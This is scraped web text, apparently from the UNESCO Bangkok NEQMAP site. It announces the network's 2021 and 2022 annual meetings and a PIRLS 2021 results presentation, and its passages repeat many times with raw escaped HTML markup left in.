<\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

